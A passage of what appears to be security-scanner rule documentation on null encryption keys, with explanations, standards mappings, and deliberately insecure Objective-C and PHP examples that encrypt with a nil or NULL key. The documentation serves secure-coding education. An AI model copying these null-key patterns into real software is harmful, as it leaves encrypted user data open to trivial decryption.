[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.javascript.key_management_null_encryption_key
Abstract
Null encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to use a null encryption key because it significantly reduces the protection afforded by a good encryption algorithm, but it also makes fixing the problem extremely difficult. After the offending code is in production, a software patch is required to change the null encryption key. If an account that is protected by the null encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code performs AES encryption using a null encryption key:


...
CCCrypt(kCCEncrypt,
      kCCAlgorithmAES,
      kCCOptionPKCS7Padding,
      nil,
      0,
      iv,
      plaintext,
      sizeof(plaintext),
      ciphertext,
      sizeof(ciphertext),
      &numBytesEncrypted);
...


Not only will anyone who has access to the code be able to determine that it uses a null encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the application has shipped, a software patch is required to change the null encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of a null encryption key.
References
[1] Encrypting Your App's Files Apple
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.objc.key_management_null_encryption_key
Abstract
Null encryption keys can compromise security in a way that is not easy to remedy.
Explanation
Assigning null to encryption key variables is a bad idea because it can allow attackers to expose sensitive and encrypted information. Not only does using a null encryption key significantly reduce the protection afforded by a good encryption algorithm, but it also makes fixing the problem extremely difficult. After the offending code is in production, a software patch is required to change the null encryption key. If an account protected by the null encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code initializes an encryption key variable to null.


...
$encryption_key = NULL;

$filter = new Zend_Filter_Encrypt($encryption_key);

$filter->setVector('myIV');

$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...

Anyone who has access to the code would be able to determine that it uses a null encryption key, and anyone employing even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the program ships, a software patch is required to change the null encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of a null encryption key.
References
[1] Windows Data Protection Microsoft
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.php.key_management_null_encryption_key
Abstract
Null encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to use a null encryption key because it significantly reduces the protection afforded by a good encryption algorithm, but it also makes fixing the problem extremely difficult. After the offending code is in production, a software patch is required to change the null encryption key. If an account that is protected by the null encryption key is compromised, the owners of the system must choose between security and availability.



Not only will anyone who has access to the code be able to determine that it uses a null encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the application has shipped, a software patch is required to change the null encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of a null encryption key.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
